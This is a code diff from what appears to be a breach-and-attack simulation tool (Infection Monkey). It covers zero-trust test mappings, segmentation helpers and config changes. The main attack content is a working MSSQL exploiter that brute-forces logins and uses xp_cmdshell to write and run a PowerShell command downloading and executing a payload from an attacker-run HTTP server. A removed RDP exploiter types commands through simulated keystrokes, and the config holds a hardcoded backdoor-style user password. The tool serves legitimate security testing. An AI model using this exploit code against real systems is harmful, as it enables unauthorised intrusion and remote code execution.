TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
},
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
PILLARS_KEY: [PEOPLE, NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_DATA_ENDPOINT_ELASTIC: {
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_DATA_ENDPOINT_HTTP: {
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
},
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
}
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
PILLARS_TO_TESTS = {
DATA: [],
PEOPLE: [],
NETWORKS: [],
DEVICES: [],
WORKLOADS: [],
VISIBILITY_ANALYTICS: [],
AUTOMATION_ORCHESTRATION: []
}
PRINCIPLES_TO_TESTS = {}
PRINCIPLES_TO_PILLARS = {}
def populate_mappings():
populate_pillars_to_tests()
populate_principles_to_tests()
populate_principles_to_pillars()
def populate_pillars_to_tests():
for pillar in PILLARS:
for test, test_info in TESTS_MAP.items():
if pillar in test_info[PILLARS_KEY]:
PILLARS_TO_TESTS[pillar].append(test)
def populate_principles_to_tests():
for single_principle in PRINCIPLES:
PRINCIPLES_TO_TESTS[single_principle] = []
for test, test_info in TESTS_MAP.items():
PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
def populate_principles_to_pillars():
for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
principles_pillars = set()
for test in principle_tests:
for pillar in TESTS_MAP[test][PILLARS_KEY]:
principles_pillars.add(pillar)
PRINCIPLES_TO_PILLARS[principle] = principles_pillars

View File

@ -0,0 +1,23 @@
def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
"""
Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
:param ip_addresses: List[str]: List of IP addresses to test.
:param source_subnet: NetworkRange: Subnet to want an IP to not be in.
:param target_subnet: NetworkRange: Subnet we want an IP to be in.
:return: The cross segment IP if in source but not in target, else None. Union[str, None]
"""
if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
return None
return get_ip_if_in_subnet(ip_addresses, source_subnet)
def get_ip_if_in_subnet(ip_addresses, subnet):
"""
:param ip_addresses: IP address list.
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
"""
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):
return ip_address
return None

View File

@ -0,0 +1,30 @@
from common.network.network_range import *
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
class TestSegmentationUtils(IslandTestCase):
def test_get_ip_in_src_and_not_in_dst(self):
self.fail_if_not_testing_env()
source = CidrRange("1.1.1.0/24")
target = CidrRange("2.2.2.0/24")
# IP not in both
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
))
# IP not in source, in target
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("2.2.2.2")], source, target
))
# IP in source, not in target
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
))
# IP in both subnets
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
))

View File

@ -10,6 +10,20 @@ class ScanStatus(Enum):
USED = 2
class UsageEnum(Enum):
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
" for monkey process wasn't successful."}
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."

View File

@ -1,3 +1,4 @@
import hashlib
import os
import json
import sys
@ -13,9 +14,11 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
class Configuration(object):
def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
@ -53,6 +56,12 @@ class Configuration(object):
result = self.from_kv(formatted_data)
return result
@staticmethod
def hide_sensitive_info(config_dict):
for field in SENSITIVE_FIELDS:
config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
return config_dict
def as_dict(self):
result = {}
for key in dir(Configuration):
@ -174,7 +183,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate
8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
@ -207,9 +216,6 @@ class Configuration(object):
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
@ -272,5 +278,17 @@ class Configuration(object):
PBA_linux_filename = None
PBA_windows_filename = None
@staticmethod
def hash_sensitive_data(sensitive_data):
"""
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
saved on client machines plain-text.
:param sensitive_data: the data to hash.
:return: the hashed data.
"""
password_hashed = hashlib.sha512(sensitive_data).hexdigest()
return password_hashed
WormConfiguration = Configuration()

View File

@ -125,6 +125,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(telem_category, data):
if not WormConfiguration.current_server:
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
return
try:
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
@ -168,7 +169,8 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
LOG.info("New configuration was loaded from server: %r" %
(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",

View File

@ -11,9 +11,11 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@ -156,5 +158,6 @@ class MonkeyDrops(object):
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
except AttributeError:
LOG.error("Invalid configuration options. Failing")

View File

@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,

View File

@ -73,12 +73,11 @@ class HostExploiter(object, metaclass=ABCMeta):
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter

View File

@ -8,9 +8,10 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):

View File

@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'

View File

@ -1,16 +1,18 @@
import logging
import os
import textwrap
import sys
from time import sleep
import pymssql
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter, tools
from infection_monkey.exploit.tools import HTTPTools
from infection_monkey.exploit.tools import get_monkey_dest_path
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils import get_monkey_dir_path
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__)
@ -24,98 +26,145 @@ class MSSQLExploiter(HostExploiter):
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
XP_CMDSHELL_COMMAND_END = "\""
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.cursor = None
self.monkey_server = None
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
def _exploit_host(self):
"""
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
if not cursor:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
# Create dir for payload
self.create_temp_dir()
# Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME)
# Create monkey dir.
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(commands[-1])
return True
@staticmethod
def run_file(cursor, file_path):
command = ["exec xp_cmdshell \"%s\"" % file_path]
return MSSQLExploiter.execute_command(cursor, command)
@staticmethod
def execute_command(cursor, cmds):
"""
Executes commands on MSSQL server
:param cursor: MSSQL connection
:param cmds: list of commands in MSSQL syntax.
:return: True if successfully executed, false otherwise.
"""
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
self.create_empty_payload_file()
self.start_monkey_server()
self.upload_monkey()
self.stop_monkey_server()
# Clear payload to pass in another command
self.create_empty_payload_file()
self.run_monkey()
self.remove_temp_dir()
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
return True
def run_payload_file(self):
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
return self.run_mssql_command(file_running_command)
def create_temp_dir(self):
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(dir_creation_command)
def create_empty_payload_file(self):
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
self.run_mssql_command(tmp_file_creation_command)
def run_mssql_command(self, mssql_command):
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
if not array_of_commands:
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
self.run_mssql_commands(array_of_commands)
def run_monkey(self):
monkey_launch_command = self.get_monkey_launch_command()
self.run_mssql_command(monkey_launch_command)
self.run_payload_file()
def run_mssql_commands(self, cmds):
for cmd in cmds:
self.cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
def upload_monkey(self):
monkey_download_command = self.write_download_command_to_payload()
self.run_payload_file()
self.add_executed_cmd(monkey_download_command.command)
def remove_temp_dir(self):
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
self.run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self):
self.monkey_server = MonkeyHTTPServer(self.host)
self.monkey_server.start()
def stop_monkey_server(self):
self.monkey_server.stop()
def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command()
self.run_mssql_command(monkey_download_command)
return monkey_download_command
def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
# Form monkey's launch command
monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1,
dst_path)
suffix = ">>{}".format(self.payload_file_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix)
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
return MSSQLLimitedSizePayload(command=monkey_download_command,
suffix=suffix,
prefix=prefix)
def brute_force(self, host, port, users_passwords_pairs_list):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
@ -123,8 +172,9 @@ class MSSQLExploiter(HostExploiter):
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
LOG.info(
'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
host, user, self._config.hash_sensitive_data(password)))
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
@ -136,4 +186,12 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return None
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -1,347 +0,0 @@
import os.path
import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.get('isError'):
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval = interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c, True))
result.append(CharEvent(c, False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
LOG.debug("Starting to send keystrokes")
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if isinstance(key, WaitUpdateEvent):
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if isinstance(key, ScanCodeEvent):
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif isinstance(key, CharEvent):
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif isinstance(key, SleepEvent):
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
time.sleep(1)
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
time.sleep(1)
pass
def onClose(self):
self.success = len(self._keys) == 0
self.closed = True
def onSessionReady(self):
LOG.debug("Logged in, session is ready for work")
self._last_update = time.time()
self._keys_thread.start()
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1),
ScanCodeEvent(91, True, True),
ScanCodeEvent(19, True),
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
